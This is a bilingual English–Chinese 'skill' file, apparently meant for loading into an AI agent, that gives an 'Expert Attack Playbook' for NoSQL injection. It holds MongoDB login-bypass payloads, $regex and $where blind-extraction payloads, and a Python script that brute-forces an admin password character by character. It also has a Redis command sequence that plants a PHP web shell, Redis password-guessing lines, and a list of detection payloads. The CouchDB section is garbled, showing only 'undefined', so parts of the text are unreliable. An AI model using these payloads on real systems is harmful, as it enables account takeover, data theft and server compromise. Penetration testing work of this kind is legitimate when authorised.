nosql-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: NoSQL Injection — Expert Attack Playbook

SKILL: NoSQL Injection — 高级攻击实战手册

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

AI加载说明:NoSQL注入与SQL注入有本质区别,涵盖MongoDB运算符注入、身份认证绕过、盲注提取、聚合管道注入,以及Redis/CouchDB专属攻击。仅了解SQLi模式的测试人员通常很容易漏测这类漏洞。

1. CORE CONCEPT — OPERATOR INJECTION

1. 核心概念——运算符注入

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.
MongoDB example — normal query:
javascript
db.users.find({username: "alice", password: "secret"})
Injection via JSON operator:
json
{
  "username": "admin",
  "password": {"$gt": ""}
}
→ Becomes:
find({username:"admin", password:{$gt:""}})
→ password > "" → always true!

SQL注入的核心是突破字符串字面量边界。
NoSQL注入的核心是注入查询运算符来修改查询逻辑。
MongoDB示例——正常查询:
javascript
db.users.find({username: "alice", password: "secret"})
通过JSON运算符注入:
json
{
  "username": "admin",
  "password": {"$gt": ""}
}
→ 最终执行:
find({username:"admin", password:{$gt:""}})
→ password > "" 恒成立!

2. MONGODB — LOGIN BYPASS

2. MongoDB——登录绕过

JSON Body Injection (API with JSON Content-Type)

JSON Body注入(JSON格式的API接口)

json
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
json
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP
$_POST
Array Injection (URL-encoded form)

PHP
$_POST
数组注入(URL编码表单)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python
params
Array Injection

Ruby / Python
params
数组注入

Same as PHP — use bracket notation to inject objects:
?username[%24ne]=invalid&password[%24ne]=invalid
%24
= URL-encoded
$

和PHP逻辑一致,使用方括号语法注入对象:
?username[%24ne]=invalid&password[%24ne]=invalid
%24
= URL编码后的
$
符号

3. MONGODB OPERATORS FOR INJECTION

3. 可用于注入的MongoDB运算符

OperatorMeaningUse Case
$ne
not equal
{"password": {"$ne": "x"}}
→ always matches
$gt
greater than
{"password": {"$gt": ""}}
→ all non-empty passwords match
$gte
greater or equalSimilar to $gt
$lt
less than
{"password": {"$lt": "~"}}
→ all ASCII match
$regex
regex match
{"username": {"$regex": "adm.*"}}
$where
JS expressionMOST DANGEROUS — code execution
$exists
field exists
{"admin": {"$exists": true}}
$in
in array
{"username": {"$in": ["admin","user"]}}

运算符含义使用场景
$ne
不等于
{"password": {"$ne": "x"}}
→ 永远匹配成功
$gt
大于
{"password": {"$gt": ""}}
→ 所有非空密码都匹配
$gte
大于等于和$gt用法类似
$lt
小于
{"password": {"$lt": "~"}}
→ 所有ASCII字符都匹配
$regex
正则匹配
{"username": {"$regex": "adm.*"}}
$where
JS表达式风险最高——可执行代码
$exists
字段是否存在
{"admin": {"$exists": true}}
$in
在数组范围内
{"username": {"$in": ["admin","user"]}}

4. BLIND DATA EXTRACTION VIA $REGEX

4. 基于$REGEX的盲数据提取

Like binary search in SQLi, use
$regex
to extract field values character by character:
json
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
Response difference: successful login vs failed login = boolean oracle.
Automate with NoSQLMap or custom script with binary search on character set.

和SQLi中的二分法逻辑类似,使用
$regex
逐字符提取字段值:
json
// 管理员密码是否以'a'开头?
{"username": "admin", "password": {"$regex": "^a"}}

// 管理员密码是否以'b'开头?
{"username": "admin", "password": {"$regex": "^b"}}

// 持续迭代:缩小每个位置的字符范围
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
响应差异:登录成功/失败的返回就是布尔判断依据。
自动化实现:使用NoSQLMap工具或自定义脚本基于字符集做二分法遍历。

5. MONGODB $WHERE INJECTION (JS EXECUTION)

5. MongoDB $WHERE注入(JS执行)

$where
evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:
json
{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}
Limit:
$where
doesn't give OS command execution — server-side JS injection (not to be confused with command injection).

$where
会在MongoDB运行环境中执行JavaScript代码。
仅可访问当前文档的字段,无法直接访问系统,但仍可被用于逻辑滥用:
json
{"$where": "this.username == 'admin' && this.password.length > 0"}

// 基于时间的盲注提取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// 基于JS的正则匹配:
{"$where": "this.username.match(/^adm/) && true"}
限制
$where
无法直接执行OS命令,属于服务端JS注入(不要和命令注入混淆)。

6. AGGREGATION PIPELINE INJECTION

6. 聚合管道注入

When user-controlled data enters
$match
or
$group
stages:
javascript
// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])
Inject operators to bypass:
json
// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

当用户可控数据进入
$match
$group
阶段时可能触发:
javascript
// 存在漏洞的代码:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])
注入运算符实现绕过:
json
// 传入对象格式的输入:
{"$ne": null}  → 匹配所有分类
{"$regex": ".*"}  → 匹配所有内容

7. HTTP PARAMETER POLLUTION FOR NOSQL

7. 针对NoSQL的HTTP参数污染

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
Use
qs
library parse behavior in Node.js:
?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

部分框架(Express.js、PHP)会将重复参数解析为数组:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
利用Node.js中
qs
库的解析特性:
?filter[$ne]=invalid
→ 解析为: filter = {$ne: "invalid"}
→ 实现NoSQL运算符注入

8. COUCHDB ATTACKS

8. CouchDB攻击

HTTP Admin API (if exposed)

HTTP Admin API(如果暴露)

bash
undefined
bash
undefined

List databases:

列出所有数据库:

Read all documents in a DB:

读取某个数据库下的所有文档:

Create admin account (if anonymous access allowed):

创建管理员账号(如果允许匿名访问):


---

---

9. REDIS INJECTION

9. Redis注入

Redis exposed (6379) with no auth — command injection via input used in Redis queries:
undefined
Redis端口(6379)暴露且无认证时,可通过Redis查询中使用的输入实现命令注入:
undefined

Via SSRF or direct injection:

通过SSRF或直接注入:

SET key "<?php system($_GET['cmd']); ?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php BGSAVE

**Auth bypass** (older Redis with `requirepass` using simple password):
AUTH password AUTH 123456 AUTH redis AUTH admin

---
SET key "<?php system($_GET['cmd']); ?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php BGSAVE

**认证绕过**(旧版Redis使用简单密码配置`requirepass`时):
AUTH password AUTH 123456 AUTH redis AUTH admin

---

10. DETECTION PAYLOADS

10. 检测Payload

Send these to any input processed by NoSQL backend:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON variant test (change Content-Type to
application/json
if endpoint is form-based):
json
{"username": "admin", "password": {"$ne": ""}}

向所有由NoSQL后端处理的输入发送以下Payload:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON变体测试(如果接口原本是表单格式,修改Content-Type为
application/json
):
json
{"username": "admin", "password": {"$ne": ""}}

11. NOSQL VS SQL — KEY DIFFERENCES

11. NoSQL VS SQL——核心差异

AspectSQLiNoSQLi
LanguageSQL syntaxQuery operator objects
Injection vectorString concatenationObject/operator injection
Common signalQuote breaks response
{$ne:x}
changes response
Extraction methodUNION / error-based
$regex
character oracle
Auth bypass
' OR 1=1--
{"password":{"$ne":""}}
OS commandxp_cmdshell (MSSQL)Rare (need
$where
+ CVE)
FingerprintDB-specific error messages"cannot use $" errors

维度SQLiNoSQLi
语言SQL语法查询运算符对象
注入载体字符串拼接对象/运算符注入
常见特征引号会破坏响应
{$ne:x}
会改变响应
数据提取方法UNION / 报错注入
$regex
字符判断
认证绕过方式
' OR 1=1--
{"password":{"$ne":""}}
执行OS命令xp_cmdshell (MSSQL)极少(需要
$where
+ 对应CVE)
指纹特征数据库专属报错信息"无法使用$"类报错

12. TESTING CHECKLIST

12. 测试检查清单

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

□ 测试登录字段:发送{"$ne": "invalid"}格式的JSON body
□ 测试URL编码表单:password[$ne]=invalid
□ 测试$regex盲注枚举字段值
□ 尝试带sleep()的$where实现时间盲注
□ 检查5984端口是否暴露CouchDB(未认证管理员权限)
□ 检查6379端口是否暴露Redis(未认证)
□ 尝试在表单接口修改Content-Type为application/json测试
□ 监控运算符相关报错信息("BSON" "operator" "$not allowed")

13. BLIND NoSQL EXTRACTION AUTOMATION

13. 盲NoSQL提取自动化

$regex Character-by-Character Extraction (Python Template)

$regex逐字符提取(Python模板)

python
import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")
python
import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"已找到: {password}")
            break
    if not found:
        break

print(f"最终密码: {password}")

$regex via URL-encoded GET Parameters

基于URL编码GET参数的$regex注入

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*

Iterate through charset until login succeeds

遍历字符集直到登录成功

undefined
undefined

Duplicate Key Bypass

重复键绕过

json
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

json
// 当应用只校验第一个键但处理最后一个键时:
{"id": "10", "id": "100"}
// JSON解析器通常使用最后出现的键值
// 绕过逻辑:WAF校验id=10,应用实际处理id=100

14. AGGREGATION PIPELINE INJECTION

14. 聚合管道注入

When user input reaches MongoDB aggregation pipeline stages:
javascript
// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection
当用户输入进入MongoDB聚合管道阶段时:
javascript
// 如果用户可控$match阶段:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT来自用户输入
])

// 注入方式:传入对象而非字符串
// INPUT = {"$gt": ""} → 匹配所有文档

// $lookup实现跨集合数据访问:
// 如果$lookup阶段可注入:
{ $lookup: {
    from: "admin_users",       // 攻击者指定的集合
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out将结果写入新集合:
{ $out: "public_collection" }  // 将查询结果写入可访问的公共集合

$where JavaScript Execution

$where JavaScript执行

javascript
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })

// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
Note:
$where
runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any
$where
sink as high risk.
javascript
// $where允许执行任意JavaScript(风险极高):
db.users.find({ $where: "this.username == 'admin'" })

// 如果输入可进入$where:
// 注入: ' || 1==1 || '
// 或者: '; return true; var x='
// 时间盲注: '; sleep(5000); var x='
// 数据导出: '; if(this.password[0]=='a'){sleep(5000)}; var x='
参考资料:Soroush Dalili — 《MongoDB NoSQL Injection with Aggregation Pipelines》(2024)
注意
$where
会在服务端运行JavaScript。除了逻辑滥用和时间判断之外,没有严格V8沙箱限制的旧版MongoDB历史上存在RCE风险,任何
$where
注入点都应判定为高风险。